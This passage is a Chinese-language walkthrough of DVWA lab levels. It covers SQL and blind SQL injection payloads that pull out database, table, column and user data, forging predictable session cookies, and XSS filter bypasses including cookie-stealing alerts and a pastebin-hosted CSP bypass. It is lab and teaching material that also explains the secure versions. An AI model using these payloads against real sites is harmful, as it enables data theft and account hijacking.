                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    }
}

?>

窗口输入1’,按Submit,页面报错

image-20220211140307935

窗口输入1’’,按Submit,正常显示结果

image-20220211140327342

所以闭合是单引号,并且本关没有转义单引号

窗口输入1’ order by 3#,按Submit,报错

窗口输入1’ order by 2#,按Submit,返回正常结果

因此列数为2列

对比一下low级别的源码,可以发现high级别的sql语句只是在where语句的后面添加了一个LIMIT 1限定,令其只能输出一个结果。对于这种情况,我们只需在注入的时候加上#注释掉后面的LIMIT 1就可以了。其操作步骤就和LOW级别一样了。

SQL Injection (Blind)

SQL盲注简介

(1)SQL盲注

SQL Injection(Blind),即SQL盲注;

注入:可以查看到详细内容;

盲注:目标只会回复是或不是,没有详细内容;

(2)手工盲注思路

手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是d啊?”,通过这种机械的询问,最终获得你想要的数据。

(3)SQL盲注的类型

基于布尔值的盲注;

基于时间的盲注;

基于报错的盲注;

(4)SQL盲注的过程

1. 判断是否存在注入,注入是字符型还是数字型;

2. 猜解当前数据库名;

    猜解数据库的长度;猜解数据库的名称;

3. 猜解数据库中的表名;

    猜解库中有几个表;猜解表的长度;猜解表的名称;

4. 猜解表中的字段名;

    猜解表中有几个字段;猜解字段的长度;猜解字段的名称;

5. 猜解数据;

(low)

查看源码:

<?phpif( isset( $_GET[ 'Submit' ] ) ) {  // Get input  $id = $_GET[ 'id' ];  // Check database  $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";  $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors  // Get results  $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors  if( $num > 0 ) {    // Feedback for end user    echo '<pre>User ID exists in the database.</pre>';  }  else {    // User wasn't found, so the page wasn't!    header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );    // Feedback for end user    echo '<pre>User ID is MISSING from the database.</pre>';  }  ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>

分析:

Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL漏洞;

同时SQL语句查询返回的结果只有两种:

User ID exists in the database;User ID is MISSING from the database;
基于布尔的盲注:

1.判断是否存在注入,注入是字符型还是数字型
输入1,显示相应用户存在:

image-20220205181024605

输入1’ and 1=1 #,显示存在:

image-20220205181051598

说明存在字符型的SQL盲注。

2.猜解当前数据库名
想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符。
输入1’ and length(database())=1 #,显示不存在;
输入1’ and length(database())=2 #,显示不存在;
输入1’ and length(database())=3 #,显示不存在;
输入1’ and length(database())=4 #,显示存在:

image-20220205181235019

说明数据库名长度为4。

采用二分法猜解数据库名。
输入

1’ and ascii(substr(databse(),1,1))>97 #

显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入

1’ and ascii(substr(databse(),1,1))<122 #

显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
输入

1’ and ascii(substr(databse(),1,1))<109 #

显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);

输入

1’ and ascii(substr(databse(),1,1))<103 #

显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);

输入

1’ and ascii(substr(databse(),1,1))<100 #

显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);

输入

1’ and ascii(substr(databse(),1,1))>100 #

显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。

1' and ascii(substr(database(),1,1))=100#        //d

1' and ascii(substr(database(),2,1))=118#        //v

1' and ascii(substr(database(),3,1))=119#        //w

1' and ascii(substr(database(),4,1))=97#          //a

最终获得库名:dvwa

猜解数据库中表的个数

输入

1' and  (select count(table_name) from information_schema.tables where table_schema='dvwa')=2#

image-20220205181659491

猜解数据库中表的长度**(guestbook——9,users——5)**

输入

 1' and   length(substr((select   table_name  from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9#

输入

1' and  length(substr((select  table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5#

猜解数据库中的表名(guestbook,users)

输入

1' and  ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103#

以此类推:guestbook中的k的表示为:

输入

1' and   ascii(substr((select table_name  from information_schema.tables where table_schema='dvwa' limit 0,1),9))=107#

以此类推:users表中u如下表示:

1' and   if(ascii(substr((select table_name  from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117,sleep(5),1)#

猜解users表中有几个字段

输入

1' and  if((select count(column_name)  from information_schema.columns  where table_name='users')=8,sleep(5),1)#

猜解字段的长度(以user_id为例)

输入

1' and   if(length(substr((select   column_name from information_schema.columns where table_name='users' limit 0,1),1))=7,sleep(5),1)#

猜解字段的名称(以user_id中的u为例)

输入

1' and   if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117,sleep(5),1)#     //u

猜解数据;

1' and if(ascii(substr((select user from users limit 0,1),1,1))=97,sleep(5),1)#
//admin中的a;

image-20220205182810685

(medium)

image-20220211140738475

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?> 

根据源代码发现使用了post方法,且前端输入有限制

用burpsuit抓包

Submit=Submit&id=1 and 1 =1

image-20220211142200025

1’and ‘1’ ='1 

失败

image-20220211142334961

猜解数据库长度

1 and length(database())=4 # 

成功数据库为4位

image-20220211142412934

猜解数据库名称
1 and ascii(substr(database(),1,1))>97 #
1 and ascii(substr(database(),1,1))=100 #

image-20220211143115675

image-20220211143152008

接下来的方法就和初级的一样,只需要把‘去掉就可以

(high)

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

1'or'1'='1

High Security Level的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,我们采用基于布尔的盲注(同low级别)

image-20220211143453606

(impossible)

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

Impossible Security Level的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。

查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,我们采用基于布尔的盲注(同low级别)

[外链图片转存中…(img-Em81Rqnw-1644581548082)]

(impossible)

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

Impossible Security Level的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。

弱会话ID(Weak Session IDs)

当用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带

Sesion去访问。

sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问权限,无需登录直接进入特定用户界面,进而进行其他操作。

用户访问服务器的时候,在服务器端会创建一个新的会话(Session),会话中会保存用户的状态和相关信息,用于标识用户。

服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。用户拿到session id就会加密后保存到 cookies 上,之后只要cookies随着http请求发送服务器,服务器就知道你是谁了。SessionID一旦在生命周期内被窃取,就等同于账户失窃。

Session利用的实质 :

由于SessionID是用户登录之后才持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权限,无需登录密码直接进入特定用户界面, 进而查找其他漏洞如XSS、文件上传等等。

Session劫持 : 就是一种通过窃取用户SessionID,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。如果SessionID是保存在Cookie中的,则这种攻击可以称为Cookie劫持。SessionID还可以保存在URL中,作为一个请求的一个参数,但是这种方式的安全性难以经受考验。

(low)

image-20220218213200059

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id'])) {
        $_SESSION['last_session_id'] = 0;
    }
    $_SESSION['last_session_id']++;
    $cookie_value = $_SESSION['last_session_id'];
    setcookie("dvwaSession", $cookie_value);
}
?>

分析源码:

如果没有变量 S E S S I O N [ ′ l a s t s e s s i o n i d ′ ] , 则 变 量 值 设 置 为 0 , 变 量 值 加 1 ; 如 果 有 变 量 _SESSION['last_session_id'],则变量值设置为0,变量值加1;如果有变量 SESSION[lastsessionid]01_SESSION[‘last_session_id’],则变量值加1。然后向用户发送名为dvwaSession,值为$_SESSION[‘last_session_id’]的HTTP cookie。

也就是说,名为dvwaSession的cookie的值从1开始每按一次Generate按钮递增1。

setcookie()函数的作用是向客户端发送一个 HTTP cookie。

步骤:

low级别未设置过滤,直接用bp抓包,可以清楚的看到dvwaSesion的cookie,每重放一次,dvwaSesion增加一:

image-20220218214330468

image-20220218214358741

构造payload:dvwaSession=7; PHPSESSID=urd8316u153rbjmldctto1tck5; security=low

通过浏览器的hackbar,提交,选择cookie提交方式,提交后发现直接登录dvwa,绕过密码验证:

image-20220218214954680

(MEDIUM)

分析源码:
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = time();
    setcookie("dvwaSession", $cookie_value);
}
?>

*ime()*函数返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数。

本关代码在用户按下Generate按钮之后,返回等于当前时间戳的dvwaSession值作为cookie

步骤:

1、Chrome浏览器按F12,调出开发者工具,找到Application–Storage–Cookies。第1次按Generate按钮,dvwaSession值为1645192564

image-20220218215736441

2、第2次按Generate按钮dvwaSession值为1645192679

3、第3次按Generate按钮dvwaSession值为1645192711

4、从以上三步的结果可以看出来,每次按Generate按钮生成的10位dvwaSession的值前6位是一样的,只有后4位不同,并且后4位是增长趋势的,每次增长的数量也不同。

合理推测可能与时间有关。

必应搜索一下时间戳转换工具,看看推测是否成立:

第1个dvwaSession

image-20220218220050269

第2个dvwaSession

image-20220218220123117

第3个dvwaSession

image-20220218220137359

从上面的结果基本可以看出来,要么dvwaSession就是按Generate按钮时候的时间戳,要么就是时间戳加减了什么值。

于是又对着时间戳转换器中现在的时间戳按了一次Generate按钮,产生的dvwaSession和当前时间戳基本上是一致的。

这种由时间戳产生的Session ID也是可以通过爆破来猜测的。

(HIGH)

分析源码:
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id_high'])) {
        $_SESSION['last_session_id_high'] = 0;
    }
    $_SESSION['last_session_id_high']++;
    $cookie_value = md5($_SESSION['last_session_id_high']);
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

?>

从代码可见,这关dvwaSession的值和上文猜测的一样,也是从1开始递增,并经过md5加密的。

除此之外,从代码中可见,这关*setcookie()*函数的参数很多,我们来一个一个看一下。

*setcookie()*函数的定义如下

setcookie ( string $name , string $value = "" , int $expires = 0 , string $path = "" , string $domain = "" , bool $secure = false , bool $httponly = false ) : bool

name:

cookie名称。这里是"dvwaSession"。

value:

cookie值,存储于用户电脑。这里是$cookie_value。

expires:

Cookie的过期时间。如果设置成零,或者忽略参数, Cookie 会在会话结束时过期(也就是关掉浏览器时)。这里是time()+3600,表示1小时后过期。

path:

Cookie 有效的服务器路径。 设置成 ‘/’ 时,Cookie 对整个域名 domain 有效。 如果设置成 ‘/foo/’, Cookie 仅仅对 domain 中 /foo/ 目录及其子目录有效(比如 /foo/bar/)。 默认值是设置 Cookie 时的当前目录。这里是"/dvwa/vulnerabilities/weak_id/"。

步骤:

1、按下Generate按钮,生成了名为dvwaSession,值为c4ca4238a0b923820dcc509a6f75849b的cookie。

这个cookie看起来是32位十六进制,也就是128位二进制,有可能是md5

image-20220218220834672

md5解密得到明文1:

image-20220218220943822

2、再次按下Generate按钮,dvwaSession的值更新为a87ff679a2f3e71d9181a67b7542122c

md5解密后是4:

image-20220218221117264

3、至此,可以判断本关dvwaSession的值是md5加密的,并且明文是每按一次Generate按钮递增1的。

这种也可以爆破。

设置爆破位置:

image-20220218224522201

设置payloads:

image-20220218224845579

注意Payload Processing中要添加task *Hash:MD5*

image-20220218224808591

(IMPOSSIBLE)

分析源码:

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = sha1(mt_rand() . time() . "Impossible");
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

本关cookie值计算采用的是SHA-1散列函数,并且计算时还通过mt_rand()函数,在基于时间(time()函数)的基础上引入了随机数,因此不具备可预测性。

除此之外,setcookie()函数的secure参数和httponly参数在本关都是true,增加了cookie的安全性。
本关生成的cookie如下图Response报文的Set-Cookie头所示,由于设置了secure,因此该cookie仅可通过https传输,因此本关中客户端并没有收到服务器发来的cookie。

image-20220218225227878

DOM Based Cross Site Scripting (XSS)——DOM型XSS

XSS 介绍

XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。

DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。

XSS利用的常见用途:
盗取用户cookies、劫持会话、流量劫持、网页挂马、DDOS、提升权限…

DOM全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

(low)

分析源码:
<?php
# No protections, anything goes
?>
步骤:

可以发现并无任何保护措施,直接尝试注入

直接在URL处输入,

default=<script>alert('xxs')</script>

image-20220218225851135

(medium )

分析源码:
<?php
 
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}
 
?>

需要闭合select标签和option标签,构造代码

</option></select><img src = 1 οnerrοr=alert(/vegetable/)>

即可触发弹窗,意思是如果图片无法打开则执行后面的弹窗

image-20220218234354165

(high )

分析源代码:
<?php
 
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
 
    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}
 
?>

可以从代码中看到,只能从已有的case中选择,否则会输出默认的English

在English后添加 # 即可,# 后的代码不会传至后台,但会在前端执行

?default=English#</option></select><img src=xss onerror=alert(/xss/)>

image-20220218234747874

反射型Reflected Cross Site Scripting (XSS)

反射型 XSS 介绍

“跨站点脚本(XSS)”攻击是一种注入问题,其中恶意脚本被注入到其他良性的和可信的网站中。
当攻击者使用Web应用程序将恶意代码(通常以浏览器端脚本的形式)发送给不同的最终用户时,会发生XSS攻击。
允许这些攻击成功的缺陷非常普遍,并且在Web应用程序的任何地方使用来自用户的输入在输出中发生,而不验证或编码它。

攻击者可以使用XSS向恶意的用户发送恶意脚本。
终端用户的浏览器没有办法知道脚本不应该被信任,并且将执行JavaScript。
因为它认为脚本来自可信来源,恶意脚本可以访问任何cookie、会话令牌或浏览器保留的其他敏感信息,并与该站点一起使用。
这些脚本甚至可以重写HTML页面的内容。

因为它是一个反射的XSS,恶意代码不存储在远程Web应用程序中,所以需要一些社会工程(例如通过电子邮件/聊天的链接)。

(low)

分析源码:
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?> 

方法:

发现此时没有任何过滤,直接写

<script>alert('hi')</script>//测试是否有xss漏洞
<script>alert(document.cookie)</script>//获取cookie

image-20220218235908915

image-20220218235931200

(medium)

分析源码:
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?> 

对name进行了过滤限制,str_replace将< script >替换为空白

方法:

进行payload:

<scri<script>pt>alert('hi')</script>//双写绕过
<SCRIPT>alert('hi')</SCRIPT>
<img src=1 onerror=alert('hi')>

image-20220219000309930

image-20220219000350214

(high)

分析源码:
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

可以看到,High级别的代码同样使用黑名单过滤输入,preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。

漏洞利用

虽然无法使用

<img src=1 onerror=alert(/xss/)>

成功弹框:

image-20220219000840539

Stored Cross Site Scripting (XSS)(存储型)

它可以将用户构造的有害输入直接存储起来,不需要攻击者构造链接诱使受害人点击触发,而是目标网站的用户只要访问插入恶意代码的网站就能触发,相比较反射型xss更为隐蔽,危害更大,受害者也会更多。

(Low)

分析源码:
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

相关函数说明
trim(string,charlist)
函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符。

mysql_real_escape_string(string,connection)
函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。

stripslashes(string)
函数删除字符串中的反斜杠。
可以看到,对输入并没有做XSS方面的过滤与检查,且存储在数据库中,因此这里存在明显的存储型XSS漏洞。

message 有对于空格的过滤,以及script的删除
name有对于页数字符的过滤

message 的过滤对于sql还有用,对于xss 基本无用

方法:

message一栏输入<script>alert(/xss/)</script>,成功弹框

image-20220225004400498

Medium

分析源码:
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

相关函数说明
strip_tags()
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用标签。

addslashes()
addslashes()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤了

方法:

同反射型XSS一样,可以用大小写绕过也可以用双写绕过。
但是由于Name字段的限制这里就采用Burpsuite来抓取改包
并在name处注入xss,成功弹窗

<sc<script>ript>alert("1");</script>

image-20220225005256970

image-20220225005234124

High

分析源码:
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

可以看到,这里使用正则表达式过滤了

方法:

同之前的反射型XSS方法一样,Burpsuite改包即可,抓包改name参数为

<img src=1 onerror=alert(/xss/)>

成功弹窗:

image-20220225005541072

Content Security Policy (CSP) Bypass绕过内容

image-20220225005747724

CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。
两种方法可以启用 CSP。

1.一种是通过 HTTP 响应头信息的Content-Security-Policy字段。
2.一种是通过网页的标签。

<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

script-src,脚本:只信任当前域名
object-src:不信任任何URL,即不加载任何资源
style-src,样式表:只信任cdn.example.org和third-party.org
**child-src:**必须使用HTTPS协议加载。这个已从Web标准中删除,新版本浏览器可能不支持。
**其他资源:**没有限制其他资源
启用CSP后,不符合 CSP 的外部资源就会被阻止加载。

low

分析源码:
<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com  example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.

header($headerCSP);

# https://pastebin.com/raw/R570EE00

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    <script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
';

观察头信息,罗列允许JavaScript的网站:

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com  example.com code.jquery.com https://ssl.google-analytics.com ;"; 

我们也可以在网页提交信息时候,通过开发者工具也可以观察同样的结果

https://pastebin.com 是一个快速文本分享网站

我们可以在里面写入攻击代码:

alert(document.cookie)

image-20220225010537169

创建成功后,点击raw

image-20220225010610472

生成攻击页面

image-20220225010640217

